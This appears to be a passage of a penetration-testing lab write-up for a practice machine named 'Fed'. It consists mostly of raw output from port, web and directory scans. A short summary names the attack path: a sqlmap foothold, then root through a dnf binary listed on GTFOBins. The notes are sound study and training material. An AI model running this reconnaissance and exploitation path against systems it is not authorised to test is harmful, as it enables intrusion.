Fed — VHL (10.11.1.68)
sudo rustscan -a 10.11.1.68 -- -A -sC
Fed — VHL (10.11.1.68)
#Foothold with sqlmap sqlmap -r FILENAME -dbs --level=5 --risk=3 --batch #Privesc with vulnerable binary /usr/bin/dnf https://gtfobins.github.io/gtfobins/dnf/
Information Gathering
$#Port Enumeration$sudo rustscan -a 10.11.1.68 -- -A -sC$ $22/tcp open ssh syn-ack ttl 63 OpenSSH 8.8 (protocol 2.0)$| ssh-hostkey: $| 256 eb:59:13:ff:ca:a5:19:b7:be:3d:53:b9:7e:05:79:57 (ECDSA)$| ecdsa-sha2-nistp256 AAAAE2VjZHNhLXNoYTItbmlzdHAyNTYAAAAIbmlzdHAyNTYAAABBBGP3yTBFvAa7ncPxkApLQGdXJXB+adoBXA8jpY8epCm8HYo9nA6nlhhfiSbKXmT3qxH209P30fEsrB/NZnJg0f8=$| 256 27:79:88:ab:06:f6:4d:c7:2b:65:a9:10:89:eb:a4:0a (ED25519)$|_ssh-ed25519 AAAAC3NzaC1lZDI1NTE5AAAAIJ1bBk7auEbaRfJRoOv43/qT6li0xDxKu0WNOOu56BoD$ $80/tcp open http syn-ack ttl 63 Apache httpd 2.4.54 ((Fedora Linux))$| http-cookie-flags: $| /: $| PHPSESSID: $|_ httponly flag not set$| http-methods: $|_ Supported Methods: GET HEAD POST OPTIONS$| http-title: Fed Forum$|_Requested resource was forum.php$|_http-server-header: Apache/2.4.54 (Fedora Linux)$ $3306/tcp open mysql syn-ack ttl 63 MariaDB 10.3.23 or earlier (unauthorized)$ $9090/tcp open ssl/http syn-ack ttl 63 Cockpit web service 273 - 281$| http-methods: $|_ Supported Methods: GET HEAD$|_http-title: Loading...$|_http-favicon: Unknown favicon MD5: BEDCF1ADD08265CCCE4F9B2D8669D29A$|_ssl-date: TLS randomness does not represent time$| ssl-cert: Subject: commonName=localhost.localdomain/organizationName=bb8ca7e9a1e14749b520841fc6f3cbee$| Subject Alternative Name: IP Address:127.0.0.1, DNS:localhost$| Issuer: commonName=localhost.localdomain/organizationName=bb8ca7e9a1e14749b520841fc6f3cbee$| Public Key type: rsa$| Public Key bits: 2048$| Signature Algorithm: sha256WithRSAEncryption$| Not valid before: 2025-09-30T23:05:07$| Not valid after: 2026-10-30T23:05:07$| MD5: 7ca0:2efc:fd4d:4edc:7fc4:f0b4:91ce:6767$| SHA-1: c1e4:e804:03e8:8dd4:782a:f2a7:3e86:ac86:14a2:cee8Web (80) {toggle="true"}
01```shell#nikto nikto -h http://10.11.1.68
- Nikto v2.5.0
- Target IP: 10.11.1.68
- Target Hostname: 10.11.1.68
- Target Port: 80
- Start Time: 2025-09-30 19:09:51 (GMT-4)
- Server: Apache/2.4.54 (Fedora Linux)
- /: Cookie PHPSESSID created without the httponly flag. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Cookies
- /: Retrieved x-powered-by header: PHP/7.4.33.
- /: The anti-clickjacking X-Frame-Options header is not present. See: https://developer.mozilla.org/en-US/docs/Web/HTTP/Headers/X-Frame-Options
- /: The X-Content-Type-Options header is not set. This could allow the user agent to render the content of the site in a different fashion to the MIME type. See: https://www.netsparker.com/web-vulnerability-scanner/vulnerabilities/missing-content-type-header/
- Root page / redirects to: forum.php
- /: HTTP TRACE method is active which suggests the host is vulnerable to XST. See: https://owasp.org/www-community/attacks/Cross_Site_Tracing
- /public/: This might be interesting.
- /icons/: Directory indexing found.
- /icons/README: Apache default file found. See: https://www.vntweb.co.uk/apache-restricting-access-to-iconsreadme/
- ERROR: Error limit (20) reached for host, giving up. Last error:
- Scan terminated: 0 error(s) and 8 item(s) reported on remote host
- End Time: 2025-09-30 19:13:04 (GMT-4) (193 seconds)
#Whatweb
whatweb http://10.11.1.68
http://10.11.1.68 [302 Found] Apache[2.4.54], Cookies[PHPSESSID], Country[RESERVED][ZZ], HTTPServer[Fedora Linux][Apache/2.4.54 (Fedora Linux)], IP[10.11.1.68], PHP[7.4.33], RedirectLocation[forum.php], X-Powered-By[PHP/7.4.33], X-XSS-Protection[0] http://10.11.1.68/forum.php [200 OK] Apache[2.4.54], Bootstrap, Cookies[PHPSESSID], Country[RESERVED][ZZ], HTML5, HTTPServer[Fedora Linux][Apache/2.4.54 (Fedora Linux)], IP[10.11.1.68], JQuery, Open-Graph-Protocol, PHP[7.4.33], PasswordField[password], PoweredBy[LayerBB], Script[text/javascript], Title[Fed Forum], X-Powered-By[PHP/7.4.33], X-UA-Compatible[IE=edge], X-XSS-Protection[0]🐺 howlsec@kalicode01```shell
#Ferox feroxbuster -u http://10.11.1.68 -x htm php html js txt zip bak asp aspx xml py -r -w /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt -t 5
|__ |__ |) |) | / ` / \ / | | \ |_ | |___ | \ | \ | , / / \ | |/ |_ by Ben "epi" Risher 🤓 ver: 2.11.0 ───────────────────────────┬────────────────────── 🎯 Target Url │ http://10.11.1.68 🚀 Threads │ 5 📖 Wordlist │ /usr/share/dirbuster/wordlists/directory-list-2.3-medium.txt 👌 Status Codes │ All Status Codes! 💥 Timeout (secs) │ 7 🦡 User-Agent │ feroxbuster/2.11.0 💉 Config File │ /etc/feroxbuster/ferox-config.toml 🔎 Extract Links │ true 💲 Extensions │ [htm, php, html, js, txt, zip, bak, asp, aspx, xml, py] 🏁 HTTP methods │ [GET] 📍 Follow Redirects │ true 🔃 Recursion Depth │ 4 🎉 New Version Available │ https://github.com/epi052/feroxbuster/releases/latest ───────────────────────────┴────────────────────── 🏁 Press [ENTER] to use the Scan Management Menu™ ────────────────────────────────────────────────── 404 GET 7l 23w 196c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 403 GET 7l 20w 199c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 404 GET 1l 3w 16c Auto-filtering found 404-like response and created new filter; toggle off with --dont-filter 200 GET 226l 655w 6199c http://10.11.1.68/public/js/highlighter/styles/shCore.css 200 GET 202l 477w 10110c http://10.11.1.68/forum.php 200 GET 39l 75w 832c http://10.11.1.68/public/css/LayerBB.css 200 GET 17l 64w 1451c http://10.11.1.68/public/js/highlighter/shAutoloader.js 200 GET 137l 341w 7215c http://10.11.1.68/404.php 200 GET 201l 527w 11361c http://10.11.1.68/thread.php/fed_forum_news.3 200 GET 6l 1215w 93106c http://10.11.1.68/public/js/jquery.min.js 200 GET 170l 416w 4411c http://10.11.1.68/public/css/social-buttons.css 200 GET 51l 115w 1149c http://10.11.1.68/public/js/social-buttons.js 200 GET 58l 288w 2435c http://10.11.1.68/public/js/highlighter/shBrushAS3.js 200 GET 55l 302w 2285c http://10.11.1.68/public/js/highlighter/shBrushVb.js 200 GET 68l 203w 2002c http://10.11.1.68/public/js/highlighter/shBrushXml.js 200 GET 91l 659w 6005c http://10.11.1.68/public/js/highlighter/shBrushSass.js 200 GET 17l 77w 1870c http://10.11.1.68/public/js/highlighter/shLegacy.js 200 GET 96l 695w 5288c http://10.11.1.68/public/js/highlighter/shBrushCpp.js 200 GET 3l 955w 52397c http://10.11.1.68/public/js/sceditor/sceditor.min.js 200 GET 51l 196w 1716c http://10.11.1.68/public/js/highlighter/shBrushErlang.js 200 GET 100l 806w 8296c http://10.11.1.68/public/js/highlighter/shBrushColdFusion.js 200 GET 57l 258w 2242c http://10.11.1.68/public/js/highlighter/shBrushJavaFX.js 200 GET 67l 340w 3017c http://10.11.1.68/public/js/highlighter/shBrushGroovy.js 200 GET 117l 317w 2877c http://10.11.1.68/public/js/highlighter/styles/shThemeDefault.css 200 GET 72l 417w 3176c http://10.11.1.68/public/js/highlighter/shBrushPerl.js 200 GET 51l 224w 1892c http://10.11.1.68/public/js/highlighter/shBrushScala.js 200 GET 88l 615w 5717c http://10.11.1.68/public/js/highlighter/shBrushCss.js 200 GET 56l 249w 2105c http://10.11.1.68/public/js/highlighter/shBrushJava.js 200 GET 54l 268w 2192c http://10.11.1.68/public/js/highlighter/shBrushRuby.js 200 GET 17l 415w 16175c http://10.11.1.68/public/js/highlighter/shCore.js 200 GET 73l 443w 3915c http://10.11.1.68/public/js/highlighter/shBrushPowerShell.js 200 GET 32l 89w 754c http://10.11.1.68/public/js/highlighter/shBrushPlain.js 200 GET 64l 298w 2532c http://10.11.1.68/public/js/highlighter/shBrushCSharp.js 200 GET 54l 307w 2386c http://10.11.1.68/public/js/highlighter/shBrushDelphi.js 200 GET 161l 418w 8475c http://10.11.1.68/members.php/cmd/register 200 GET 189l 432w 3685c http://10.11.1.68/public/themes/Sand/assets/css/sand.css 200 GET 65l 409w 3058c http://10.11.1.68/public/js/highlighter/shBrushSql.js 200 GET 40l 129w 1061c http://10.11.1.68/public/js/highlighter/shBrushDiff.js 200 GET 74l 558w 8182c http://10.11.1.68/public/js/highlighter/shBrushAppleScript.js 200 GET 87l 557w 5250c http://10.11.1.68/public/js/highlighter/shBrushPhp.js 200 GET 63l 309w 2441c http://10.11.1.68/public/js/highlighter/shBrushPython.js 200 GET 221l 532w 10589c http://10.11.1.68/node.php/fed_forum.1 200 GET 51l 200w 1653c http://10.11.1.68/public/js/highlighter/shBrushJScript.js 200 GET 3l 209w 18146c http://10.11.1.68/public/js/sceditor/formats/bbcode.js 200 GET 42l 331w 22479c http://10.11.1.68/public/img/avatars/default.png 200 GET 153l 381w 7826c http://10.11.1.68/members.php/cmd/signin 200 GET 3l 957w 52668c http://10.11.1.68/public/js/sceditor/jquery.sceditor.min.js 200 GET 6l 367w 31819c http://10.11.1.68/public/themes/Sand/assets/js/bootstrap.min.js 200 GET 3l 1049w 61176c http://10.11.1.68/public/js/sceditor/jquery.sceditor.xhtml.min.js 200 GET 0l 0w 0c http://10.11.1.68/public/css/ 200 GET 0l 0w 0c http://10.11.1.68/public/themes/ 200 GET 3l 1154w 70737c http://10.11.1.68/public/js/sceditor/jquery.sceditor.bbcode.min.js 200 GET 170l 431w 8596c http://10.11.1.68/search.php 200 GET 13l 101w 5142c http://10.11.1.68/public/img/LayerBB_logo.png 200 GET 1l 285w 9070c http://10.11.1.68/public/js/sceditor/themes/default.min.css 200 GET 7l 9w 135c http://10.11.1.68/public/themes/Sand/assets/js/sand.js 200 GET 0l 0w 0c http://10.11.1.68/public/css/index.html 200 GET 40l 93w 1105c http://10.11.1.68/public/js/LayerBB.js 200 GET 0l 0w 0c http://10.11.1.68/public/themes/index.html 200 GET 1l 58w 3068c http://10.11.1.68/public/js/autosaveform.js 200 GET 205l 537w 10494c http://10.11.1.68/members.php/cmd/user/id/1 200 GET 1l 60w 6400c http://10.11.1.68/public/js/jquery.tagsinput.min.js 200 GET 0l 0w 0c http://10.11.1.68/public/themes/Sand/ 200 GET 59l 410w 2835c http://10.11.1.68/public/js/highlighter/shBrushBash.js 200 GET 0l 0w 0c http://10.11.1.68/public/themes/Sand/index.html 200 GET 0l 0w 0c http://10.11.1.68/public/js/ 200 GET 0l 0w 0c http://10.11.1.68/public/js/index.html 200 GET 0l 0w 0c http://10.11.1.68/public/img/avatars/ 200 GET 0l 0w 0c http://10.11.1.68/public/img/ 200 GET 0l 0w 0c http://10.11.1.68/public/ 200 GET 0l 0w 0c http://10.11.1.68/public/img/index.html 200 GET 0l 0w 0c http://10.11.1.68/public/img/avatars/index.html 200 GET 0l 0w 0c http://10.11.1.68/public/index.html 200 GET 47l 103w 1716c http://10.11.1.68/public/email/template.php 200 GET 15l 53w 907c http://10.11.1.68/public/email/ 200 GET 0l 0w 0c http://10.11.1.68/uploads/ 200 GET 0l 0w 0c http://10.11.1.68/uploads/index.html 200 GET 17l 79w 1333c http://10.11.1.68/public/admin/ 200 GET 0l 0w 0c http://10.11.1.68/public/themes/Sand/assets/ 200 GET 0l 0w 0c http://10.11.1.68/public/img/flags/ 200 GET 0l 0w 0c http://10.11.1.68/public/img/flags/index.html 200 GET 0l 0w 0c http://10.11.1.68/public/img/bin/ 200 GET 0l 0w 0c http://10.11.1.68/public/img/bin/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/ 200 GET 0l 0w 0c http://10.11.1.68/applications/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/apps/ 200 GET 0l 0w 0c http://10.11.1.68/applications/apps/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/smilies/ 200 GET 0l 0w 0c http://10.11.1.68/applications/smilies/index.html 200 GET 9l 33w 2340c http://10.11.1.68/public/img/emoticons/clock.png 200 GET 8l 32w 2489c http://10.11.1.68/public/img/emoticons/pig.png 200 GET 5l 25w 1818c http://10.11.1.68/public/img/emoticons/phone.png 200 GET 3l 29w 2099c http://10.11.1.68/public/img/emoticons/watermelon.png 200 GET 8l 37w 2462c http://10.11.1.68/public/img/emoticons/msn-away.png 200 GET 7l 19w 1628c http://10.11.1.68/public/img/emoticons/airplane.png 200 GET 6l 30w 1495c http://10.11.1.68/public/img/emoticons/cwy.png 200 GET 6l 31w 2782c http://10.11.1.68/public/img/emoticons/car.png 200 GET 6l 29w 2270c http://10.11.1.68/public/img/emoticons/doh.png 200 GET 7l 17w 1323c http://10.11.1.68/public/img/emoticons/rain.png 200 GET 8l 36w 2209c http://10.11.1.68/public/img/emoticons/sweat.png 200 GET 5l 33w 2364c http://10.11.1.68/public/img/emoticons/dance.png 200 GET 9l 28w 1424c http://10.11.1.68/public/img/emoticons/pinch.png 200 GET 7l 34w 2320c http://10.11.1.68/public/img/emoticons/rotfl.png 200 GET 4l 15w 1468c http://10.11.1.68/public/img/emoticons/angry.png 200 GET 4l 27w 2277c http://10.11.1.68/public/img/emoticons/jump.png 200 GET 7l 27w 2188c http://10.11.1.68/public/img/emoticons/waiting.png 200 GET 7l 33w 1641c http://10.11.1.68/public/img/emoticons/cool.png 200 GET 7l 33w 1825c http://10.11.1.68/public/img/emoticons/sleeping.png 200 GET 8l 23w 1293c http://10.11.1.68/public/img/emoticons/liquor.png 200 GET 8l 33w 2248c http://10.11.1.68/public/img/emoticons/thinking.png 200 GET 10l 39w 2286c http://10.11.1.68/public/img/emoticons/drool.png 200 GET 7l 36w 2629c http://10.11.1.68/public/img/emoticons/party.png 200 GET 7l 28w 1560c http://10.11.1.68/public/img/emoticons/silly.png 200 GET 8l 41w 2747c http://10.11.1.68/public/img/emoticons/skywalker.png 200 GET 9l 36w 2195c http://10.11.1.68/public/img/emoticons/sun.png 200 GET 10l 32w 2526c http://10.11.1.68/public/img/emoticons/pumpkin.png 200 GET 3l 23w 1280c http://10.11.1.68/public/img/emoticons/cheerful.png 200 GET 4l 32w 1947c http://10.11.1.68/public/img/emoticons/drink.png 200 GET 7l 26w 1705c http://10.11.1.68/public/img/emoticons/present.png 200 GET 11l 25w 1767c http://10.11.1.68/public/img/emoticons/good.png 200 GET 7l 35w 2298c http://10.11.1.68/public/img/emoticons/snowman.png 200 GET 8l 27w 2311c http://10.11.1.68/public/img/emoticons/clap.png 200 GET 8l 29w 2235c http://10.11.1.68/public/img/emoticons/clover.png 200 GET 6l 31w 2256c http://10.11.1.68/public/img/emoticons/bashful.png 200 GET 7l 30w 2339c http://10.11.1.68/public/img/emoticons/msn_online.png 200 GET 7l 20w 1547c http://10.11.1.68/public/img/emoticons/blush.png 200 GET 5l 32w 2361c http://10.11.1.68/public/img/emoticons/call-me.png 200 GET 8l 24w 2038c http://10.11.1.68/public/img/emoticons/bowl.png 200 GET 7l 36w 2221c http://10.11.1.68/public/img/emoticons/mad-tongue.png 200 GET 4l 35w 2603c http://10.11.1.68/public/img/emoticons/cowboy.png 200 GET 5l 32w 2203c http://10.11.1.68/public/img/emoticons/cute.png 200 GET 10l 30w 2237c http://10.11.1.68/public/img/emoticons/crying.png 200 GET 9l 38w 2509c http://10.11.1.68/public/img/emoticons/meeting.png 200 GET 7l 38w 2517c http://10.11.1.68/public/img/emoticons/soldier.png 200 GET 5l 24w 1914c http://10.11.1.68/public/img/emoticons/pill.png 200 GET 5l 32w 2231c http://10.11.1.68/public/img/emoticons/disdain.png 200 GET 10l 31w 2242c http://10.11.1.68/public/img/emoticons/shout.png 200 GET 8l 37w 2368c http://10.11.1.68/public/img/emoticons/beauty.png 200 GET 8l 23w 1327c http://10.11.1.68/public/img/emoticons/unsure.png 200 GET 5l 16w 1693c http://10.11.1.68/public/img/emoticons/devil.png 200 GET 5l 33w 2244c http://10.11.1.68/public/img/emoticons/snicker.png 200 GET 6l 26w 1859c http://10.11.1.68/public/img/emoticons/knife.png 200 GET 4l 20w 1430c http://10.11.1.68/public/img/emoticons/wink.png 200 GET 6l 32w 2304c http://10.11.1.68/public/img/emoticons/love-over.png 200 GET 3l 27w 1826c http://10.11.1.68/public/img/emoticons/can.png 200 GET 8l 34w 2276c http://10.11.1.68/public/img/emoticons/vampire.png 200 GET 6l 27w 2716c http://10.11.1.68/public/img/emoticons/glasses-nerdy.png 200 GET 4l 27w 2291c http://10.11.1.68/public/img/emoticons/mean.png 200 GET 5l 19w 2054c http://10.11.1.68/public/img/emoticons/cloudy.png 200 GET 9l 28w 2189c http://10.11.1.68/public/img/emoticons/yin-yang.png 200 GET 8l 24w 1649c http://10.11.1.68/public/img/emoticons/camera.png 200 GET 7l 38w 2556c http://10.11.1.68/public/img/emoticons/peace.png 200 GET 8l 30w 2135c http://10.11.1.68/public/img/emoticons/excruciating.png 200 GET 8l 30w 1981c http://10.11.1.68/public/img/emoticons/sigarette.png 200 GET 6l 21w 1501c http://10.11.1.68/public/img/emoticons/mail.png 200 GET 6l 31w 2266c http://10.11.1.68/public/img/emoticons/glasses-cool.png 200 GET 6l 28w 2649c http://10.11.1.68/public/img/emoticons/highfive.png 200 GET 9l 69w 421c http://10.11.1.68/public/img/emoticons/credits.txt 200 GET 6l 19w 1772c http://10.11.1.68/public/img/emoticons/hammer.png 200 GET 7l 26w 1951c http://10.11.1.68/public/img/emoticons/bomb.png 200 GET 9l 31w 2212c http://10.11.1.68/public/img/emoticons/ghost.png 200 GET 6l 25w 1811c http://10.11.1.68/public/img/emoticons/whistling.png 200 GET 4l 18w 1589c http://10.11.1.68/public/img/emoticons/computer.png 200 GET 10l 33w 2161c http://10.11.1.68/public/img/emoticons/lamp.png 200 GET 14l 36w 1277c http://10.11.1.68/public/img/emoticons/sick.png 200 GET 5l 29w 2239c http://10.11.1.68/public/img/emoticons/sarcastic.png 200 GET 7l 29w 1416c http://10.11.1.68/public/img/emoticons/shocked.png 200 GET 5l 20w 1648c http://10.11.1.68/public/img/emoticons/star.png 200 GET 7l 29w 2237c http://10.11.1.68/public/img/emoticons/hypnotized.png 200 GET 10l 27w 2274c http://10.11.1.68/public/img/emoticons/plate.png 200 GET 6l 35w 2415c http://10.11.1.68/public/img/emoticons/in-love.png 200 GET 4l 15w 1169c http://10.11.1.68/public/img/emoticons/mobile.png 200 GET 7l 26w 1861c http://10.11.1.68/public/img/emoticons/search.png 200 GET 4l 11w 1338c http://10.11.1.68/public/img/emoticons/alien.png 200 GET 4l 18w 2401c http://10.11.1.68/public/img/emoticons/film.png 200 GET 7l 23w 2399c http://10.11.1.68/public/img/emoticons/curse.png 200 GET 9l 34w 2185c http://10.11.1.68/public/img/emoticons/desire.png 200 GET 5l 28w 2413c http://10.11.1.68/public/img/emoticons/fingers-crossed.png 200 GET 5l 29w 1431c http://10.11.1.68/public/img/emoticons/grin.png 200 GET 7l 34w 2482c http://10.11.1.68/public/img/emoticons/handcuffs.png 200 GET 8l 25w 1831c http://10.11.1.68/public/img/emoticons/bad.png 200 GET 6l 32w 2474c http://10.11.1.68/public/img/emoticons/handshake.png 200 GET 5l 38w 2266c http://10.11.1.68/public/img/emoticons/cat.png 200 GET 10l 22w 2180c http://10.11.1.68/public/img/emoticons/dazed.png 200 GET 7l 36w 2421c http://10.11.1.68/public/img/emoticons/beer.png 200 GET 8l 30w 1678c http://10.11.1.68/public/img/emoticons/poop.png 200 GET 7l 27w 1977c http://10.11.1.68/public/img/emoticons/sheep.png 200 GET 6l 36w 1669c http://10.11.1.68/public/img/emoticons/ermm.png 200 GET 5l 26w 1705c http://10.11.1.68/public/img/emoticons/tongue.png 200 GET 4l 27w 2254c http://10.11.1.68/public/img/emoticons/lying.png 200 GET 7l 32w 2271c http://10.11.1.68/public/img/emoticons/shame.png 200 GET 7l 29w 1704c http://10.11.1.68/public/img/emoticons/girl.png 200 GET 8l 31w 2271c http://10.11.1.68/public/img/emoticons/chicken.png 200 GET 6l 37w 2193c http://10.11.1.68/public/img/emoticons/foot-in-mouth.png 200 GET 11l 33w 1937c http://10.11.1.68/public/img/emoticons/umbrella.png 200 GET 5l 33w 1950c http://10.11.1.68/public/img/emoticons/island.png 200 GET 7l 34w 2306c http://10.11.1.68/public/img/emoticons/go-away.png 200 GET 6l 24w 1850c http://10.11.1.68/public/img/emoticons/love.png 200 GET 7l 29w 1405c http://10.11.1.68/public/img/emoticons/sideways.png 200 GET 6l 26w 1693c http://10.11.1.68/public/img/emoticons/smile.png 200 GET 9l 31w 1429c http://10.11.1.68/public/img/emoticons/pouty.png 200 GET 7l 39w 2099c http://10.11.1.68/public/img/emoticons/smirk.png 200 GET 5l 27w 2251c http://10.11.1.68/public/img/emoticons/embarrassed.png 200 GET 10l 42w 2226c http://10.11.1.68/public/img/emoticons/wilt.png 200 GET 6l 26w 1379c http://10.11.1.68/public/img/emoticons/face.png 200 GET 9l 24w 2253c http://10.11.1.68/public/img/emoticons/arrogant.png 200 GET 10l 31w 2375c http://10.11.1.68/public/img/emoticons/soccerball.png 200 GET 9l 29w 2239c http://10.11.1.68/public/img/emoticons/weep.png 200 GET 8l 26w 2168c http://10.11.1.68/public/img/emoticons/smile-big.png 200 GET 10l 36w 2427c http://10.11.1.68/public/img/emoticons/sleepy.png 200 GET 11l 25w 2047c http://10.11.1.68/public/img/emoticons/moon.png 200 GET 6l 31w 2185c http://10.11.1.68/public/img/emoticons/worship.png 200 GET 6l 22w 1308c http://10.11.1.68/public/img/emoticons/rainbow.png 200 GET 8l 25w 2263c http://10.11.1.68/public/img/emoticons/confused.png 200 GET 9l 34w 2113c http://10.11.1.68/public/img/emoticons/boy.png 200 GET 11l 36w 2368c http://10.11.1.68/public/img/emoticons/goat.png 200 GET 9l 41w 2251c http://10.11.1.68/public/img/emoticons/nailbiting.png 200 GET 7l 34w 2151c http://10.11.1.68/public/img/emoticons/neutral.png 200 GET 6l 25w 1659c http://10.11.1.68/public/img/emoticons/pizza.png 200 GET 4l 16w 1083c http://10.11.1.68/public/img/emoticons/ninja.png 200 GET 7l 24w 1984c http://10.11.1.68/public/img/emoticons/cake.png 200 GET 7l 26w 2382c http://10.11.1.68/public/img/emoticons/coffee.png 200 GET 10l 36w 2377c http://10.11.1.68/public/img/emoticons/hug-left.png 200 GET 7l 28w 2320c http://10.11.1.68/public/img/emoticons/starving.png 200 GET 6l 52w 1776c http://10.11.1.68/public/img/emoticons/wub.png 200 GET 6l 26w 2324c http://10.11.1.68/public/img/emoticons/eat.png 200 GET 8l 34w 1917c http://10.11.1.68/public/img/emoticons/turtle.png 200 GET 9l 35w 2291c http://10.11.1.68/public/img/emoticons/act-up.png 200 GET 7l 35w 2224c http://10.11.1.68/public/img/emoticons/tremble.png 200 GET 8l 25w 2190c http://10.11.1.68/public/img/emoticons/laugh.png 200 GET 4l 27w 1663c http://10.11.1.68/public/img/emoticons/musical-note.png 200 GET 9l 37w 2257c http://10.11.1.68/public/img/emoticons/moneymouth.png 200 GET 10l 23w 1444c http://10.11.1.68/public/img/emoticons/happy.png 200 GET 8l 32w 2233c http://10.11.1.68/public/img/emoticons/teeth.png 200 GET 11l 28w 1430c http://10.11.1.68/public/img/emoticons/wassat.png 200 GET 12l 45w 2404c http://10.11.1.68/public/img/emoticons/kiss.png 200 GET 5l 28w 2284c http://10.11.1.68/public/img/emoticons/rose-dead.png 200 GET 10l 36w 2220c http://10.11.1.68/public/img/emoticons/dont-know.png 200 GET 7l 32w 2300c http://10.11.1.68/public/img/emoticons/msn.png 200 GET 6l 29w 2276c http://10.11.1.68/public/img/emoticons/yawn.png 200 GET 6l 36w 2147c http://10.11.1.68/public/img/emoticons/freaked-out.png 200 GET 7l 33w 2232c http://10.11.1.68/public/img/emoticons/struggle.png 200 GET 7l 31w 1541c http://10.11.1.68/public/img/emoticons/laughing.png 200 GET 6l 22w 2656c http://10.11.1.68/public/img/emoticons/clown.png 200 GET 10l 41w 2225c http://10.11.1.68/public/img/emoticons/msn-busy.png 200 GET 5l 37w 2114c http://10.11.1.68/public/img/emoticons/disapointed.png 200 GET 5l 20w 2436c http://10.11.1.68/public/img/emoticons/pissed-off.png 200 GET 7l 25w 2300c http://10.11.1.68/public/img/emoticons/giggle.png 200 GET 4l 18w 1767c http://10.11.1.68/public/img/emoticons/console.png 200 GET 6l 22w 1180c http://10.11.1.68/public/img/emoticons/w00t.png 200 GET 15l 37w 2373c http://10.11.1.68/public/img/emoticons/lashes.png 200 GET 5l 29w 2385c http://10.11.1.68/public/img/emoticons/coins.png 200 GET 8l 27w 2340c http://10.11.1.68/public/img/emoticons/bye.png 200 GET 9l 30w 2360c http://10.11.1.68/public/img/emoticons/secret.png 200 GET 7l 32w 2198c http://10.11.1.68/public/img/emoticons/terror.png 200 GET 6l 22w 1420c http://10.11.1.68/public/img/emoticons/sad.png 200 GET 4l 25w 2222c http://10.11.1.68/public/img/emoticons/quiet.png 200 GET 4l 16w 896c http://10.11.1.68/public/img/emoticons/flag.png 200 GET 8l 29w 1968c http://10.11.1.68/public/img/emoticons/angel.png 200 GET 6l 20w 1432c http://10.11.1.68/public/img/emoticons/getlost.png 200 GET 9l 38w 1641c http://10.11.1.68/public/img/emoticons/blink.png 200 GET 5l 19w 2006c http://10.11.1.68/public/img/emoticons/cow.png 200 GET 11l 35w 2395c http://10.11.1.68/public/img/emoticons/victory.png 200 GET 8l 46w 2401c http://10.11.1.68/public/img/emoticons/hug-right.png 200 GET 5l 26w 1861c http://10.11.1.68/public/img/emoticons/rose.png 200 GET 5l 26w 2658c http://10.11.1.68/public/img/emoticons/dog.png 200 GET 7l 28w 2320c http://10.11.1.68/public/img/emoticons/hungry.png 200 GET 7l 41w 2293c http://10.11.1.68/public/img/emoticons/beat-up.png 200 GET 9l 33w 2171c http://10.11.1.68/public/img/emoticons/curl-lip.png 200 GET 10l 41w 2257c http://10.11.1.68/public/img/emoticons/monkey.png 200 GET 12l 35w 2159c http://10.11.1.68/public/img/emoticons/eyeroll.png 200 GET 8l 33w 2197c http://10.11.1.68/public/img/emoticons/shock.png 200 GET 7l 35w 2689c http://10.11.1.68/public/img/emoticons/question.png 200 GET 9l 37w 2515c http://10.11.1.68/public/img/emoticons/qq.png 200 GET 7l 40w 1684c http://10.11.1.68/public/img/emoticons/dizzy.png 200 GET 6l 16w 1046c http://10.11.1.68/public/img/emoticons/tv.png 200 GET 5l 23w 2338c http://10.11.1.68/public/img/emoticons/skeleton.png 200 GET 10l 44w 2434c http://10.11.1.68/public/img/emoticons/pray.png 200 GET 9l 27w 2033c http://10.11.1.68/public/img/emoticons/snail.png 200 GET 8l 33w 1730c http://10.11.1.68/public/img/emoticons/thunder.png 200 GET 6l 28w 2254c http://10.11.1.68/public/img/emoticons/doctor.png 200 GET 5l 32w 2219c http://10.11.1.68/public/img/emoticons/shut-mouth.png 200 GET 3l 19w 1443c http://10.11.1.68/public/img/emoticons/kissing.png 200 GET 10l 43w 2178c http://10.11.1.68/public/img/emoticons/blowkiss.png 200 GET 9l 20w 1574c http://10.11.1.68/public/img/emoticons/brb.png 200 GET 6l 22w 1028c http://10.11.1.68/public/img/emoticons/heart.png 200 GET 211l 2052w 42699c http://10.11.1.68/public/img/emoticons/ 200 GET 0l 0w 0c http://10.11.1.68/applications/languages/ 200 GET 0l 0w 0c http://10.11.1.68/applications/languages/index.html 200 GET 16l 67w 1120c http://10.11.1.68/public/css/flag/ 200 GET 0l 0w 0c http://10.11.1.68/applications/languages/english.php 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/ 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/ 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/mail.php 200 GET 0l 0w 0c http://10.11.1.68/applications/config.php 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/forum.php 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/user.php 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/mail.php 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/admin.php 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/password.php 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/node.php 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/form.php 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/template.php 200 GET 0l 0w 0c http://10.11.1.68/public/fonts/ 200 GET 0l 0w 0c http://10.11.1.68/public/fonts/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/classes/core.php 200 GET 4l 7w 148c http://10.11.1.68/public/img/captcha.php 200 GET 674l 5644w 35147c http://10.11.1.68/LICENSE 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/captcha.php 200 GET 0l 0w 0c http://10.11.1.68/applications/functions.php 200 GET 0l 0w 0c http://10.11.1.68/applications/libraries/permissions.php 200 GET 0l 0w 0c http://10.11.1.68/applications/terminal/ 200 GET 0l 0w 0c http://10.11.1.68/applications/terminal/index.html 200 GET 0l 0w 0c http://10.11.1.68/applications/terminal/3.php 200 GET 0l 0w 0c http://10.11.1.68/applications/terminal/admin.php
01```Web (9090) {toggle="true"}
01```shell#Nikto nikto -h http://10.11.1.68:9090
- Nikto v2.5.0
- Target IP: 10.11.1.68
- Target Hostname: 10.11.1.68
- Target Port: 9090
- Start Time: 2025-09-30 19:14:58 (GMT-4)
